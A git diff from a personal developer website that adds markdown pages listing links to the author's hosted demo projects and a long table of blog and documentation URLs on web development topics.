+-   [Photo Gallary](https://quizzical-mcnulty-fa09f2.netlify.app/)
+
+-   [Coffee Website](https://relaxed-bhaskara-dc85ec.netlify.app/)
+
+-   [Awesome Resources](https://romantic-hamilton-514b79.netlify.app/)
+
+-   [Cheat Sheets](https://silly-lichterman-b22b5f.netlify.app/)
+
+-   [Link City](https://silly-shirley-ec955e.netlify.app/)
+
+-   [VSCODE Extensions](https://stoic-mccarthy-2c335f.netlify.app/)
+
+-   [webdevhub manual attempt](https://web-dev-resource-hub-manual-deploy.netlify.app/)
+
+-   [Norwex Resources](https://wonderful-pasteur-392fbe.netlify.app/)
+
+-   [idk](https://zen-bhabha-bd046f.netlify.app/)
+
+-   [heroku bare bones template](https://getting-started42.herokuapp.com/)
+
+-   [bad reads](https://bad-reads42.herokuapp.com/)
+
+-   [docusaurus](https://documentation-site-react2.vercel.app/)
+
+-   [stackbit](https://app.stackbit.com/studio/609b2d7c71a5dd0016f36326)
+
+-   [NEW BLOG](https://best-celery-b2d7c.netlify.app/)
+
+
+---
+
+
+
+
+
+
+
+-   [index.html](https://bgoonz.github.io/Project-Showcase/index.html)
+-   [Chessjs/index.html](https://bgoonz.github.io/Project-Showcase/Chessjs/index.html)
+-   [Javascript-Drum-Kit-master/index.html](https://bgoonz.github.io/Project-Showcase/Javascript-Drum-Kit-master/index.html)
+
+-   [explore-react-without-react-master/clock-demo.html](https://bgoonz.github.io/Project-Showcase/explore-react-without-react-master/clock-demo.html)
+-   [explore-react-without-react-master/index.html](https://bgoonz.github.io/Project-Showcase/explore-react-without-react-master/index.html)
+-   [explore-react-without-react-master/tick-demo.html](https://bgoonz.github.io/Project-Showcase/explore-react-without-react-master/tick-demo.html)
+-   [explore-react-without-react-master/comment-demo.html](https://bgoonz.github.io/Project-Showcase/explore-react-without-react-master/comment-demo.html)
+-   [explore-react-without-react-master/state-clock-demo.html](https://bgoonz.github.io/Project-Showcase/explore-react-without-react-master/state-clock-demo.html)
+-   [explore-react-without-react-master/welcome-demo.html](https://bgoonz.github.io/Project-Showcase/explore-react-without-react-master/welcome-demo.html)
+-   [guessing-game-project-master/guessing-game-project-master/README.html](https://bgoonz.github.io/Project-Showcase/guessing-game-project-master/guessing-game-project-master/README.html)
+-   [javascript-text-to-speech-master/index.html](https://bgoonz.github.io/Project-Showcase/javascript-text-to-speech-master/index.html)
+-   [jsanimate-master/jsanimate-master/index.html](https://bgoonz.github.io/Project-Showcase/jsanimate-master/jsanimate-master/index.html)
+-   [memorygame-master/index.html](https://bgoonz.github.io/Project-Showcase/memorygame-master/index.html)
+-   [memorygame-master/img/background.psd](https://bgoonz.github.io/Project-Showcase/memorygame-master/img/background.psd)
+-   [Calculator/calculator.html](https://bgoonz.github.io/Project-Showcase/mini-projects/Calculator/calculator.html)
+-   [Radar/radar.html](https://bgoonz.github.io/Project-Showcase/mini-projects/Radar/radar.html)
+-   [Tooltip/cssTooltip.html](https://bgoonz.github.io/Project-Showcase/mini-projects/Tooltip/cssTooltip.html)
+-   [mini-showcase/dist/index.html](https://bgoonz.github.io/Project-Showcase/mini-showcase/dist/index.html)
+-   [project-archive/building-your-own-file-utilities-solution/short.txt](https://bgoonz.github.io/Project-Showcase/project-archive/building-your-own-file-utilities-solution/short.txt)
+-   [project-archive/global-replace-project-bonus-solution/essay.txt](https://bgoonz.github.io/Project-Showcase/project-archive/global-replace-project-bonus-solution/essay.txt)
+-   [project-archive/global-replace-project-core-solution/essay.txt](https://bgoonz.github.io/Project-Showcase/project-archive/global-replace-project-core-solution/essay.txt)
+-   [project-archive/local-storage-project-solution/storage-project.html](https://bgoonz.github.io/Project-Showcase/project-archive/local-storage-project-solution/storage-project.html)
+-   [project-archive/my-profile-solution/myProfile.html](https://bgoonz.github.io/Project-Showcase/project-archive/my-profile-solution/myProfile.html)
+-   [project-archive/proj2_debugging-recursive-solutions/debugging-recursive-solutions.pdf](https://bgoonz.github.io/Project-Showcase/project-archive/proj2_debugging-recursive-solutions/debugging-recursive-solutions.pdf)
+-   [project-archive/spud-face-project-solution/spud-face.html](https://bgoonz.github.io/Project-Showcase/project-archive/spud-face-project-solution/spud-face.html)
+-   [project-archive/testing-an-existing-project-solution/category-list-screen.html](https://bgoonz.github.io/Project-Showcase/project-archive/testing-an-existing-project-solution/category-list-screen.html)
+-   [project-archive/testing-an-existing-project-solution/search-items-screen.html](https://bgoonz.github.io/Project-Showcase/project-archive/testing-an-existing-project-solution/search-items-screen.html)
+-   [project-archive/testing-an-existing-project-solution/list-of-items-screen.html](https://bgoonz.github.io/Project-Showcase/project-archive/testing-an-existing-project-solution/list-of-items-screen.html)
+-   [project-archive/testing-an-existing-project-solution/todo-form-screen.html](https://bgoonz.github.io/Project-Showcase/project-archive/testing-an-existing-project-solution/todo-form-screen.html)
+-   [yahtzze/index.html](https://bgoonz.github.io/Project-Showcase/yahtzze/index.html)
diff --git a/src/pages/docs/projects/links/links.md b/src/pages/docs/projects/links/links.md
new file mode 100644
index 0000000000..366c1e7fa6
--- /dev/null
+++ b/src/pages/docs/projects/links/links.md
@@ -0,0 +1,1260 @@
+---
+title: Links
+template: docs
+excerpt: Links to my websites
+---
+
+| <https://bgoonz-blog-2-0.pages.dev/blog/platform-docs>                                              |
+| --------------------------------------------------------------------------------------------------- |
+| <https://bgoonz-blog-2-0.pages.dev/docs>                                                            |
+| <https://bgoonz-blog-2-0.pages.dev/docs/about>                                                      |
+| <https://bgoonz-blog-2-0.pages.dev/docs/about/job-search>                                           |
+| <https://bgoonz-blog-2-0.pages.dev/docs/articles>                                                   |
+| <https://bgoonz-blog-2-0.pages.dev/docs/articles/nodejs>                                            |
+| <https://bgoonz-blog-2-0.pages.dev/docs/career>                                                     |
+| <https://bgoonz-blog-2-0.pages.dev/docs/career/dev-interview>                                       |
+| <https://bgoonz-blog-2-0.pages.dev/docs/career/job-boards>                                          |
+| <https://bgoonz-blog-2-0.pages.dev/docs/community>                                                  |
+| <https://bgoonz-blog-2-0.pages.dev/docs/community/bookmarks>                                        |
+| <https://bgoonz-blog-2-0.pages.dev/docs/content>                                                    |
+| <https://bgoonz-blog-2-0.pages.dev/docs/css>                                                        |
+| <https://bgoonz-blog-2-0.pages.dev/docs/data-structures>                                            |
+| <https://bgoonz-blog-2-0.pages.dev/docs/docs>                                                       |
+| <https://bgoonz-blog-2-0.pages.dev/docs/docs/no-whiteboarding>                                      |
+| <https://bgoonz-blog-2-0.pages.dev/docs/faq>                                                        |
+| <https://bgoonz-blog-2-0.pages.dev/docs/faq/contact>                                                |
+| <https://bgoonz-blog-2-0.pages.dev/docs/interact>                                                   |
+| <https://bgoonz-blog-2-0.pages.dev/docs/interview>                                                  |
+| <https://bgoonz-blog-2-0.pages.dev/docs/interview/job-search-nav>                                   |
+| <https://bgoonz-blog-2-0.pages.dev/docs/javascript>                                                 |
+| <https://bgoonz-blog-2-0.pages.dev/docs/leetcode>                                                   |
+| <https://bgoonz-blog-2-0.pages.dev/docs/projects>                                                   |
+| <https://bgoonz-blog-2-0.pages.dev/docs/python/python-ds>                                           |
+| <https://bgoonz-blog-2-0.pages.dev/docs/quick-reference>                                            |
+| <https://bgoonz-blog-2-0.pages.dev/docs/react>                                                      |
+| <https://bgoonz-blog-2-0.pages.dev/docs/reference>                                                  |
+| <https://bgoonz-blog-2-0.pages.dev/docs/sitemap/link>                                               |
+| <https://bgoonz-blog-2-0.pages.dev/docs/tips>                                                       |
+| <https://bgoonz-blog-2-0.pages.dev/docs/tools/archive>                                              |
+| <https://bgoonz-blog-2-0.pages.dev/docs/tools/link>                                                 |
+| <https://bgoonz-blog-2-0.pages.dev/docs/tutorials>                                                  |
+| <https://bgoonz-blog.netlify>                                                                       |
+| <https://bgoonz-blog.netlify.app>                                                                   |
+| <https://bgoonz-blog.netlify.app/>                                                                  |
+| <https://bgoonz-blog.netlify.app/>"                                                                 |
+| <https://bgoonz-blog.netlify.app/>"<https://bgoonz-blog.netlify>                                    |
+| <https://bgoonz-blog.netlify.app/blog>                                                              |
+| <https://bgoonz-blog.netlify.app/blog/300-react-questions>                                          |
+| <https://bgoonz-blog.netlify.app/blog/adding-css-to-your-html>                                      |
+| <https://bgoonz-blog.netlify.app/blog/awesome-graphql>                                              |
+| <https://bgoonz-blog.netlify.app/blog/big-o-complexity>                                             |
+| <https://bgoonz-blog.netlify.app/blog/blog-archive>                                                 |
+| <https://bgoonz-blog.netlify.app/blog/blogwcomments>                                                |
+| <https://bgoonz-blog.netlify.app/blog/data-structures>                                              |
+| <https://bgoonz-blog.netlify.app/blog/data-structures-algorithms-resources>                         |
+| <https://bgoonz-blog.netlify.app/blog/date-component>                                               |
+| <https://bgoonz-blog.netlify.app/blog/embedding-media-in-html>                                      |
+| <https://bgoonz-blog.netlify.app/blog/event-handeling>                                              |
+| <https://bgoonz-blog.netlify.app/blog/expressjs-apis>                                               |
+| <https://bgoonz-blog.netlify.app/blog/flow-control-in-python>                                       |
+| <https://bgoonz-blog.netlify.app/blog/functions-in-python>                                          |
+| <https://bgoonz-blog.netlify.app/blog/git-gateway>                                                  |
+| <https://bgoonz-blog.netlify.app/blog/grep-in-linuz>                                                |
+| <https://bgoonz-blog.netlify.app/blog/hoisting>                                                     |
+| <https://bgoonz-blog.netlify.app/blog/htt-requests>                                                 |
+| <https://bgoonz-blog.netlify.app/blog/interview-questions-js>                                       |
+| <https://bgoonz-blog.netlify.app/blog/interview-questions-js-p2>                                    |
+| <https://bgoonz-blog.netlify.app/blog/interview-questions-js-p3>                                    |
+| <https://bgoonz-blog.netlify.app/blog/intro-01-data-structures>                                     |
+| <https://bgoonz-blog.netlify.app/blog/js-closure>                                                   |
+| <https://bgoonz-blog.netlify.app/blog/netlify-cms>                                                  |
+| <https://bgoonz-blog.netlify.app/blog/passing-arguments-to-a-callback-in-js>                        |
+| <https://bgoonz-blog.netlify.app/blog/platform-docs>                                                |
+| <https://bgoonz-blog.netlify.app/blog/psql-cheat-sheet>                                             |
+| <https://bgoonz-blog.netlify.app/blog/python-for-js-dev>                                            |
+| <https://bgoonz-blog.netlify.app/blog/python-resources>                                             |
+| <https://bgoonz-blog.netlify.app/blog/react-semantics>                                              |
+| <https://bgoonz-blog.netlify.app/blog/react-state>                                                  |
+| <https://bgoonz-blog.netlify.app/blog/using-the-dom>                                                |
+| <https://bgoonz-blog.netlify.app/blog/vs-code-extensions>                                           |
+| <https://bgoonz-blog.netlify.app/blog/vscode-extensions>                                            |
+| <https://bgoonz-blog.netlify.app/blog/web-dev-trends>                                               |
+| <https://bgoonz-blog.netlify.app/blog/web-scraping>                                                 |
+| <https://bgoonz-blog.netlify.app/docs>                                                              |
+| <https://bgoonz-blog.netlify.app/docs/about>                                                        |
+| <https://bgoonz-blog.netlify.app/docs/about/eng-portfolio>                                          |
+| <https://bgoonz-blog.netlify.app/docs/about/intrests>                                               |
+| <https://bgoonz-blog.netlify.app/docs/about/job-search>                                             |
+| <https://bgoonz-blog.netlify.app/docs/about/readme>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/about/resume>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/about/youtube>                                                |
+| <https://bgoonz-blog.netlify.app/docs/archive/embeded-websites>                                     |
+| <https://bgoonz-blog.netlify.app/docs/archive/link>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/articles>                                                     |
+| <https://bgoonz-blog.netlify.app/docs/articles/basic-web-dev>                                       |
+| <https://bgoonz-blog.netlify.app/docs/articles/buffers>                                             |
+| <https://bgoonz-blog.netlify.app/docs/articles/common-modules>                                      |
+| <https://bgoonz-blog.netlify.app/docs/articles/dev-dep>                                             |
+| <https://bgoonz-blog.netlify.app/docs/articles/event-loop>                                          |
+| <https://bgoonz-blog.netlify.app/docs/articles/fs-module>                                           |
+| <https://bgoonz-blog.netlify.app/docs/articles/how-search-engines-work>                             |
+| <https://bgoonz-blog.netlify.app/docs/articles/how-the-web-works>                                   |
+| <https://bgoonz-blog.netlify.app/docs/articles/http>                                                |
+| <https://bgoonz-blog.netlify.app/docs/articles/install>                                             |
+| <https://bgoonz-blog.netlify.app/docs/articles/intro>                                               |
+| <https://bgoonz-blog.netlify.app/docs/articles/jamstack>                                            |
+| <https://bgoonz-blog.netlify.app/docs/articles/modules>                                             |
+| <https://bgoonz-blog.netlify.app/docs/articles/nextjs>                                              |
+| <https://bgoonz-blog.netlify.app/docs/articles/node-api-express>                                    |
+| <https://bgoonz-blog.netlify.app/docs/articles/node-cli-args>                                       |
+| <https://bgoonz-blog.netlify.app/docs/articles/node-common-modules>                                 |
+| <https://bgoonz-blog.netlify.app/docs/articles/node-env-variables>                                  |
+| <https://bgoonz-blog.netlify.app/docs/articles/node-js-language>                                    |
+| <https://bgoonz-blog.netlify.app/docs/articles/node-package-manager>                                |
+| <https://bgoonz-blog.netlify.app/docs/articles/node-repl>                                           |
+| <https://bgoonz-blog.netlify.app/docs/articles/node-run-cli>                                        |
+| <https://bgoonz-blog.netlify.app/docs/articles/nodejs>                                              |
+| <https://bgoonz-blog.netlify.app/docs/articles/nodevsbrowser>                                       |
+| <https://bgoonz-blog.netlify.app/docs/articles/npm>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/articles/npx>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/articles/os-module>                                           |
+| <https://bgoonz-blog.netlify.app/docs/articles/reading-files>                                       |
+| <https://bgoonz-blog.netlify.app/docs/articles/semantic>                                            |
+| <https://bgoonz-blog.netlify.app/docs/articles/semantic-html>                                       |
+| <https://bgoonz-blog.netlify.app/docs/articles/the-uniform-resource-locator-(url>)                  |
+| <https://bgoonz-blog.netlify.app/docs/articles/understanding-firebase>                              |
+| <https://bgoonz-blog.netlify.app/docs/articles/url>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/articles/v8>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/articles/web-standards-checklist>                             |
+| <https://bgoonz-blog.netlify.app/docs/articles/webdev-tools>                                        |
+| <https://bgoonz-blog.netlify.app/docs/articles/writing-files>                                       |
+| <https://bgoonz-blog.netlify.app/docs/audio>                                                        |
+| <https://bgoonz-blog.netlify.app/docs/audio/audio>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/audio/audio-feature-extraction>                               |
+| <https://bgoonz-blog.netlify.app/docs/audio/dfft>                                                   |
+| <https://bgoonz-blog.netlify.app/docs/audio/discrete-fft>                                           |
+| <https://bgoonz-blog.netlify.app/docs/audio/dtw-python-explained>                                   |
+| <https://bgoonz-blog.netlify.app/docs/audio/dynamic-time-warping>                                   |
+| <https://bgoonz-blog.netlify.app/docs/audio/web-audio-api>                                          |
+| <https://bgoonz-blog.netlify.app/docs/career>                                                       |
+| <https://bgoonz-blog.netlify.app/docs/career/dev-interview>                                         |
+| <https://bgoonz-blog.netlify.app/docs/career/dos-and-donts>                                         |
+| <https://bgoonz-blog.netlify.app/docs/career/interview-dos-n-donts>                                 |
+| <https://bgoonz-blog.netlify.app/docs/career/job-boards>                                            |
+| <https://bgoonz-blog.netlify.app/docs/career/job-search>                                            |
+| <https://bgoonz-blog.netlify.app/docs/career/js-interview>                                          |
+| <https://bgoonz-blog.netlify.app/docs/career/list-of-projects>                                      |
+| <https://bgoonz-blog.netlify.app/docs/career/my-websites>                                           |
+| <https://bgoonz-blog.netlify.app/docs/career/projects>                                              |
+| <https://bgoonz-blog.netlify.app/docs/career/web-interview>                                         |
+| <https://bgoonz-blog.netlify.app/docs/career/web-interview2>                                        |
+| <https://bgoonz-blog.netlify.app/docs/career/web-interview3>                                        |
+| <https://bgoonz-blog.netlify.app/docs/career/web-interview4>                                        |
+| <https://bgoonz-blog.netlify.app/docs/career/wed-dev-questions>                                     |
+| <https://bgoonz-blog.netlify.app/docs/community>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/community/an-open-letter-2-future-developers>                 |
+| <https://bgoonz-blog.netlify.app/docs/community/bookmarks>                                          |
+| <https://bgoonz-blog.netlify.app/docs/community/github-profiles>                                    |
+| <https://bgoonz-blog.netlify.app/docs/community/video-chat>                                         |
+| <https://bgoonz-blog.netlify.app/docs/content>                                                      |
+| <https://bgoonz-blog.netlify.app/docs/content/algo>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/content/archive>                                              |
+| <https://bgoonz-blog.netlify.app/docs/content/bash-intro>                                           |
+| <https://bgoonz-blog.netlify.app/docs/content/data-structures-in-python>                            |
+| <https://bgoonz-blog.netlify.app/docs/content/gatsby-queries-mutations>                             |
+| <https://bgoonz-blog.netlify.app/docs/content/gists>                                                |
+| <https://bgoonz-blog.netlify.app/docs/content/github-api>                                           |
+| <https://bgoonz-blog.netlify.app/docs/content/history-api>                                          |
+| <https://bgoonz-blog.netlify.app/docs/content/main-projects>                                        |
+| <https://bgoonz-blog.netlify.app/docs/content/native-data-structures-in-js>                         |
+| <https://bgoonz-blog.netlify.app/docs/content/netlify>                                              |
+| <https://bgoonz-blog.netlify.app/docs/content/trouble-shooting>                                     |
+| <https://bgoonz-blog.netlify.app/docs/css>                                                          |
+| <https://bgoonz-blog.netlify.app/docs/css/css-positioning>                                          |
+| <https://bgoonz-blog.netlify.app/docs/data-structures>                                              |
+| <https://bgoonz-blog.netlify.app/docs/data-structures/big-o>                                        |
+| <https://bgoonz-blog.netlify.app/docs/data-structures/data-structures-in-depth>                     |
+| <https://bgoonz-blog.netlify.app/docs/data-structures/ds-algo-interview>                            |
+| <https://bgoonz-blog.netlify.app/docs/data-structures/tree>                                         |
+| <https://bgoonz-blog.netlify.app/docs/docs>                                                         |
+| <https://bgoonz-blog.netlify.app/docs/docs/appendix>                                                |
+| <https://bgoonz-blog.netlify.app/docs/docs/art-of-command-line>                                     |
+| <https://bgoonz-blog.netlify.app/docs/docs/bash>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/docs/css>                                                     |
+| <https://bgoonz-blog.netlify.app/docs/docs/data-structures-docs>                                    |
+| <https://bgoonz-blog.netlify.app/docs/docs/es-6-features>                                           |
+| <https://bgoonz-blog.netlify.app/docs/docs/git-reference>                                           |
+| <https://bgoonz-blog.netlify.app/docs/docs/git-repos>                                               |
+| <https://bgoonz-blog.netlify.app/docs/docs/glossary>                                                |
+| <https://bgoonz-blog.netlify.app/docs/docs/html-spec>                                               |
+| <https://bgoonz-blog.netlify.app/docs/docs/html-tags>                                               |
+| <https://bgoonz-blog.netlify.app/docs/docs/jamstack>                                                |
+| <https://bgoonz-blog.netlify.app/docs/docs/markdown>                                                |
+| <https://bgoonz-blog.netlify.app/docs/docs/no-whiteboarding>                                        |
+| <https://bgoonz-blog.netlify.app/docs/docs/node-docs-complete>                                      |
+| <https://bgoonz-blog.netlify.app/docs/docs/node-docs-full>                                          |
+| <https://bgoonz-blog.netlify.app/docs/docs/regex-in-js>                                             |
+| <https://bgoonz-blog.netlify.app/docs/docs/sitemap>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/docs/snippets>                                                |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo>                                                      |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/big-o>                                                |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/data-structures-docs>                                 |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/ds-algo-interview>                                    |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/ds-by-example>                                        |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/ds-overview>                                          |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/free-code-camp>                                       |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/graph>                                                |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/heaps>                                                |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/tree>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/faq>                                                          |
+| <https://bgoonz-blog.netlify.app/docs/faq/contact>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/faq/plug-ins>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/gists>                                                        |
+| <https://bgoonz-blog.netlify.app/docs/git>                                                          |
+| <https://bgoonz-blog.netlify.app/docs/git/git-cheatsheet>                                           |
+| <https://bgoonz-blog.netlify.app/docs/glossary>                                                     |
+| <https://bgoonz-blog.netlify.app/docs/glossary/folders-in-npm>                                      |
+| <https://bgoonz-blog.netlify.app/docs/glossary/local-storage-vs-session-storage-vs-cookie>          |
+| <https://bgoonz-blog.netlify.app/docs/glossary/mathfloor>                                           |
+| <https://bgoonz-blog.netlify.app/docs/google-hosted-libraries>                                      |
+| <https://bgoonz-blog.netlify.app/docs/interact>                                                     |
+| <https://bgoonz-blog.netlify.app/docs/interact/>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/interact/callstack-visual>                                    |
+| <https://bgoonz-blog.netlify.app/docs/interact/clock>                                               |
+| <https://bgoonz-blog.netlify.app/docs/interact/jupyter-notebooks>                                   |
+| <https://bgoonz-blog.netlify.app/docs/interact/other-sites>                                         |
+| <https://bgoonz-blog.netlify.app/docs/interact/other-sites/>                                        |
+| <https://bgoonz-blog.netlify.app/docs/interact/react-testing-library>                               |
+| <https://bgoonz-blog.netlify.app/docs/interact/video-chat>                                          |
+| <https://bgoonz-blog.netlify.app/docs/interact/video-chat/>                                         |
+| <https://bgoonz-blog.netlify.app/docs/interview>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/interview/dev-interview>                                      |
+| <https://bgoonz-blog.netlify.app/docs/interview/dos-and-donts>                                      |
+| <https://bgoonz-blog.netlify.app/docs/interview/interview-questions>                                |
+| <https://bgoonz-blog.netlify.app/docs/interview/job-search-nav>                                     |
+| <https://bgoonz-blog.netlify.app/docs/interview/previous-concepts>                                  |
+| <https://bgoonz-blog.netlify.app/docs/interview/review-concepts>                                    |
+| <https://bgoonz-blog.netlify.app/docs/interview/web-interview>                                      |
+| <https://bgoonz-blog.netlify.app/docs/interview/web-interview2>                                     |
+| <https://bgoonz-blog.netlify.app/docs/interview/web-interview3>                                     |
+| <https://bgoonz-blog.netlify.app/docs/interview/web-interview4>                                     |
+| <https://bgoonz-blog.netlify.app/docs/javascript>                                                   |
+| <https://bgoonz-blog.netlify.app/docs/javascript/arrow-functions>                                   |
+| <https://bgoonz-blog.netlify.app/docs/javascript/asyncjs>                                           |
+| <https://bgoonz-blog.netlify.app/docs/javascript/await-keyword>                                     |
+| <https://bgoonz-blog.netlify.app/docs/javascript/bigo>                                              |
+| <https://bgoonz-blog.netlify.app/docs/javascript/clean-code>                                        |
+| <https://bgoonz-blog.netlify.app/docs/javascript/constructor-functions>                             |
+| <https://bgoonz-blog.netlify.app/docs/javascript/cs-basics-in-js>                                   |
+| <https://bgoonz-blog.netlify.app/docs/javascript/for-loops>                                         |
+| <https://bgoonz-blog.netlify.app/docs/javascript/js-expressions>                                    |
+| <https://bgoonz-blog.netlify.app/docs/javascript/js-objects>                                        |
+| <https://bgoonz-blog.netlify.app/docs/javascript/part2-pojo>                                        |
+| <https://bgoonz-blog.netlify.app/docs/javascript/promises>                                          |
+| <https://bgoonz-blog.netlify.app/docs/javascript/review>                                            |
+| <https://bgoonz-blog.netlify.app/docs/javascript/snippets>                                          |
+| <https://bgoonz-blog.netlify.app/docs/javascript/this-is-about-this>                                |
+| <https://bgoonz-blog.netlify.app/docs/javascript/variables>                                         |
+| <https://bgoonz-blog.netlify.app/docs/js-tips>                                                      |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/abs>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/acos>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/acosh>                                                |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/addition>                                             |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/all>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/allsettled>                                           |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/any>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/array>                                                |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/array-methods>                                        |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/arrow_functions>                                      |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/async_function>                                       |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/bad_radix>                                            |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/bind>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/classes>                                              |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/concat>                                               |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/conditional_operator>                                 |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/const>                                                |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/create>                                               |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/date>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/eval>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/every>                                                |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/filter>                                               |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/for...of>                                             |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/foreach>                                              |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/functions>                                            |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/import>                                               |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/insert-into-array>                                    |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/map>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/object>                                               |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/reduce>                                               |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/regexp>                                               |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/sort>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/sorting-strings>                                      |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/string>                                               |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/this>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/var>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/leetcode>                                                     |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/004._median_of_two_sorted_arrays>                    |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/006._zigzag_conversion>                              |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/008>._string_to_integer_                             |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/009._palindrome_number>                              |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/010._regular_expression_matching>                    |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/011._container_with_most_water>                      |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/012._integer_to_roman>                               |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/013._roman_to_integer>                               |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/014._longest_common_prefix>                          |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/017._letter_combinations_of_a_phone_number>          |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/019._remove_nth_node_from_end_of_list>               |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/020._valid_parentheses>                              |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/022._generate_parentheses>                           |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/026._remove_duplicates_from_sorted_array>            |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/029._divide_two_integers>                            |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/031._next_permutation>                               |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/033._search_in_rotated_sorted_array>                 |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/containewitmoswater>                                 |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/dividtwintegers>                                     |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/first-100>                                           |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/generatparentheses>                                  |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/lettecombinationophonnumber>                         |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/longescommoprefix>                                   |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/mediaotwsortearrays>                                 |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/nexpermutation>                                      |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/palindromnumber>                                     |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/regulaexpressiomatching>                             |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/removduplicatefrosortearray>                         |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/removntnodfroenolist>                                |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/romatinteger>                                        |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/searcirotatesortearray>                              |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/valiparentheses>                                     |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/zigzaconversion>                                     |
+| <https://bgoonz-blog.netlify.app/docs/netlify-cms>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack>                                         |
+| <https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack/get-started-with-gatsby>                 |
+| <https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack/jamstack-templates>                      |
+| <https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack/serverlessjs>                            |
+| <https://bgoonz-blog.netlify.app/docs/netlify-cms/jamstack-templates>                               |
+| <https://bgoonz-blog.netlify.app/docs/overflow>                                                     |
+| <https://bgoonz-blog.netlify.app/docs/overflow/html-spec>                                           |
+| <https://bgoonz-blog.netlify.app/docs/overflow/http>                                                |
+| <https://bgoonz-blog.netlify.app/docs/overflow/install>                                             |
+| <https://bgoonz-blog.netlify.app/docs/overflow/modules>                                             |
+| <https://bgoonz-blog.netlify.app/docs/overflow/node-cli-args>                                       |
